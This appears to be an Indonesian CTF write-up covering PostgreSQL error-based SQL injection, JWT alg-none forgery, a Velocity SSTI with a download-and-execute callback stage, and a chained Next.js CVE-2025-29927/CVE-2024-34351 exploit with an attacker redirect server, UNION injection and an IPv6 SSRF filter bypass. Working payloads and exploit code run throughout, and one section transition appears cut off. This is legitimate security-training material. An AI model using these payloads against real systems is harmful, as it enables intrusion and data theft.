Nextjs CVE-2025-29927 and CVE-2024-34351 with SQLI
Pablu inGjection
TL;DR
Error based SQL Injection pada PostgreSQL
Solution
Terdapat halaman login ketika pertama kali mengakses websitenya
Karena disini tidak diberikan source code maka langsung berasumsi untuk melakukan sql injection dan ternyata bisa, lalu mencoba untuk melakukan trigger error jika memang error tersebut reflected, dengan input sederhana seperti dibawah ke username untuk mengkonfirmasi error
'"
Oke, karena berhasil maka bisa dimanfaatkan untuk Error Based SQL Injection, jika dilihat dari error message nya database yang digunakan adalah PostgreSQL, maka langsung saja untuk melakukan enumerasi database dan mendapatkan flagnya
Enumerasi tabel
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 1) as int) --
Enumerasi column
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='pabluflags' LIMIT 1 OFFSET 1) as int) --
Read flag
' and 1=cast((SELECT pgflag FROM pabluflags) as int) and '1'='1
Tampilan awal website ini hanya halaman seperti static site dan disini tidak ada info apapun dan blackbox
Karena tidak ada info lagi disini mencoba classic approach yaitu melakukan cek robots.txt
Ternyata benar terdapat hidden page disini yaitu secret-portal.html
Hidden page yang menampilkan halaman login, dan coba untuk menginputkan karakter sembarang
Hmm berhasil, asumsi disini bahwa tidak ada pengecekan apapun, namun disitu terdapat alerting yaitu Only agent Pablu karena itu coba lagi login menggunakan username Pablu
Ternyata bisa, namun lagi lagi terdapat alerting message bahwa disini harus diakses oleh admin, namun kembali lagi ke asumsi sebelumnya bahwa tidak ada pengecekan authorization apapun disini, oleh karena itu coba melakukan cek ke cookie? mungkin saja terdapat sesuatu disana
Benar ternyata terdapat setter cookie dan ketika dicek auth token tersebut memiliki alg none sehingga bisa langsung saja melakukan patching role menjadi admin tanpa harus memiliki secret key
Oke setelah itu langsung patch dan ganti ke auth token yang telah memiliki role admin dan akses kembali halamannya
Flag
RECURSION{miss1on_succ3ss_agent_pablu_09}
Sindrom Velocity
TL;DR
SSTI via Java Velocity template engine dengan melakukan bypass beberapa hal
Solution
Attachment yang diberikan adalah Java dimana akan melakukan proses mengenai login namun terdapat processing template engine menggunakan Velocity, kurang lebih berikut adalah source code hasil decompile nya
Bisa dilihat bahwa terdapat "manual" handling template dan melakukan replacement dibagian serverside dan kemudian melakukan eksekusi, namun terdapat regex replacement disana yang memberikan restriksi sekaligus bantuan untuk melakukan bypass restriksi itu sendiri
Yang terpenting dalam melakukan eksploitasi disini adalah melakukan bypass regex replacement pada bagian $ dan # dimana jika kedua karakter tersebut diikuti oleh karakter alphanumeric maka akan dihapus, hal tersebut dapat dibypass menggunakan karakter ! didedapannya karena pada akhirnya tanda ! akan dihilangkan, jadi kurang lebih akan menjadi seperti ini
Terdapat 3 stage disini, yaitu melakukan download bash script dari external service kemudian memberikan executable akses, dan terakhir melakukan eksekusi script tersebut.
Dan untuk konten bash script tersebut bisa apa aja, namun dalam kasus ini akan melakukan callback output dari read flagnya, kurang lebih seperti ini
Memanfaatkan 2 CVE pada Nextjs CVE-2025-29927 dan CVE-2024-34351, lalu melakukan bypass SSRF localhost dan leak comment melalui SQL Injection
Solution
Web ini memiliki 2 service dimana menggunakan Nextjs dan juga Flask App.
Observe Nextjs Service
Pertama observe terlebih dahulu pada service Nextjs, dapat dilihat pada package.json yang digunakan adalah versi 14.0.4
Dimana dalam versi ini terdapat 2 proof CVE yang ada, yaitu mengenai vulnerability SSRF (CVE-2024-34351) dan melakukan Bypass Middleware (CVE-2025-29927).
Dari kedua resource CVE diatas dan dari penarapan service Nextjs nya memang memiliki celah dari kedua CVE tersebut.
Pertama adalah proof dari CVE-2024-34351, dimana penggunaan server-action diikuti redirection.
Koda diatas menunjukan bahwa terdapat penggunaan server action, dimana fungsinya adalah melakukan fetching ke internal service lain, yaitu service flask app yang kemudian melakukan redirect, dimana ini adalah titik celah keamanannya.
Yang kedua adalah melakukan bypass middleware jika menggunakan autentikasi via middleware.
next-app/middleware.ts
import { NextResponse, type NextRequest } from "next/server";
import { verifyJwtToken } from "@/_libs/auth";
export async function middleware(request: NextRequest) {
const token = request.cookies.get("jwt")?.value;
const user =
token &&
(await verifyJwtToken(token).catch((err) => {
console.log(err);
}));
if (request.nextUrl.pathname.startsWith("/login")) {
if (user) {
return NextResponse.redirect(new URL("/", request.url));
}
}
if (request.nextUrl.pathname.startsWith("/admin")) {
if (!user) {
return NextResponse.redirect(new URL("/login", request.url));
}
if (user.role !== "admin") {
return NextResponse.redirect(new URL("/login", request.url));
}
}
return NextResponse.next();
}
Terlihat bahwa akses ke path /admin dibatasi menggunakan middleware dan ini dapat kita bypass menggunakan PoC dari CVE-2025-29927.
Observe Flask Service
Flask app nya ini sebenarnya sangat simple dan to the point, dimana untuk mendapatkan flagnya ada dibagian route berikut
@app.route("/flag", methods=["GET"])
def get_flag():
global flag
if get_client_ip() != "127.0.0.1":
return "Forbidden", 403
app.logger.info(f"Encrypting flag: {flag}")
encrypted_flag = AESGCM(key).encrypt(nonce, flag.encode(), associated_data=None)
return encrypted_flag.hex(), 200
Bisa dilihat bahwa untuk mengakses route ini ip nya harus berasal dari localhost atau 127.0.0.1 dan kemudian flag tersebut akan diencrypt menggunakan AESGCM dan terdapat key dan nonce yang harus diketahui.
Untuk key dan nonce ini dileak melalui salah satu endpoint, dimana vulnerable terhadap sql injection
@app.route("/users", methods=["GET"])
def get_users():
username = request.args.get("username")
if not username:
return "Missing username", 400
query = f"""SELECT username, /*{key.hex()}*/ /*{nonce.hex()}*/ role from User where username like '%{username}%' order by 1 limit 1"""
app.logger.info(
f"{get_client_ip()} is executing query: {query}"
) # hayoloh jangan ngetroll
try:
cur = mysql.connection.cursor()
cur.execute(query)
records = cur.fetchall()
column_names = [desc[0] for desc in cur.description]
cur.close()
except Exception as e:
return str(e), 400
result = [dict(zip(column_names, row)) for row in records]
return jsonify(result)
Jika dilihat bahwa key dan nonce tersebut diembed dalam query sql, namun diembed didalam comment, sehingga tidak dieksekusi. Ada salah satu cara untuk melakukan leak hal tersebut yaitu dengan mendapatkan current query ketika dieksekusi, dimana hal tersebut bisa didapatkan dengan query berikut
SELECT info FROM INFORMATION_SCHEMA.PROCESSLIST
Dan karena endpoint itu vulnerable terhadap sql, maka dapat kita inject dengan menginputkan parameter username seperti berikut
' UNION SELECT 1, info FROM INFORMATION_SCHEMA.PROCESSLIST --
Nice.
Selanjutnya karena endpoint flag harus diakses melalui localhost maka perlu SSRF dari internal flaskapp service tersebut, dan good news nya adalah terdapat endpoint berikut
@app.route("/debug", methods=["GET"])
def debug():
url = request.args.get("url")
trusted = True
if urlparse(url).hostname in ["localhost", "127.0.0.1", "::1", "0.0.0.0"]:
app.logger.info(
f"Not trusted debug from {url}, hostname is {urlparse(url).hostname}"
)
trusted = False
if url.endswith("/flag"):
app.logger.info(f"Not trusted debug from {url}")
trusted = False
if trusted:
app.logger.info(f"Trusted debug from {url}")
try:
res = requests.get(url)
except Exception as e:
return str(e), 400
return f"Thanks for debugging with us, here's your response: {res.text}", 200
return "Ok but we don't trust you yet", 200
Endpoint tersebut akan melakukan fetching ke url, namun ada restriksi hostname yang didisallow dan tidak boleh berakhiran dengan /flag, dapat dibypass dengan input sebagai berikut
Menggunakan IPv6 untuk membypass hostname dan menambahkan appended query ?hacked untuk membypass check endswith functionnya.
Dan karena flaskapp ini adalah internal service dan tidak diekspose maka kita perlu SSRF dari network yang sama. Yes! kita bisa exploit via Nextjs service tadi!.
Exploit
Karena kita sudah tahu semua vulnerable dan objective yang dapat digunakan maka kita bisa susun workflow exploitnya seperti berikut
Nextjs admin access bypass middleware via CVE-2025-29927
SSRF into Flask App via CVE-2024-34351
Leak key and nonce
Leak encrypted flag via /debug endpoint -> ssrf into /flag
Dan berikut adalah automation script solver yang digunakan
Untuk header requests disana didapatkan dari melakukan interception request dari service nextjs nya.
Dan untuk argument host ini adalah webserver dari attacker yang dijadikan sebagai middle-attack dari proof Nextjs SSRF CVE tadi. Dan berikut adalah source app webserver nya
from flask import Flask, Response, request, redirect
from urllib.parse import quote_plus
app = Flask(__name__)
@app.route("/log")
def catchlog():
if request.method == "HEAD":
resp = Response("")
resp.headers["Content-Type"] = "text/x-component"
return resp
# => LEAK KEY and NONCE
return redirect(f"http://flaskapp:5000/users?username={quote_plus("' UNION SELECT 1, info FROM INFORMATION_SCHEMA.PROCESSLIST -- ")}")
# => LEAK ENCRYPTED FLAG
return redirect(f"http://flaskapp:5000/debug?url={quote_plus("http://[0:0:0:0:0:ffff:127.0.0.1]:5000/flag?hacked")}")
if __name__ == "__main__":
app.run(port=5000, debug=True)
Untuk redirect nya gunakan sesuai dengan kebutuhan *comment salah satu
Selanjutnya let's do the exploit!
Jalankan middle-attack server
Leak key dan nonce
Oke kita dapat key dan nonce, dalam session ini key nya adalah 31dfe3e212e40cb54e9716ea1806b6e9c114306bfa9c31826630885856c5f159
dan nonce nya adalah
3987967401ff86aed13d43cc
Selanjutnya leak encrypted flagnya
Nice, kita dapat encrypted flagnya, selanjutnya langsung decrypt saja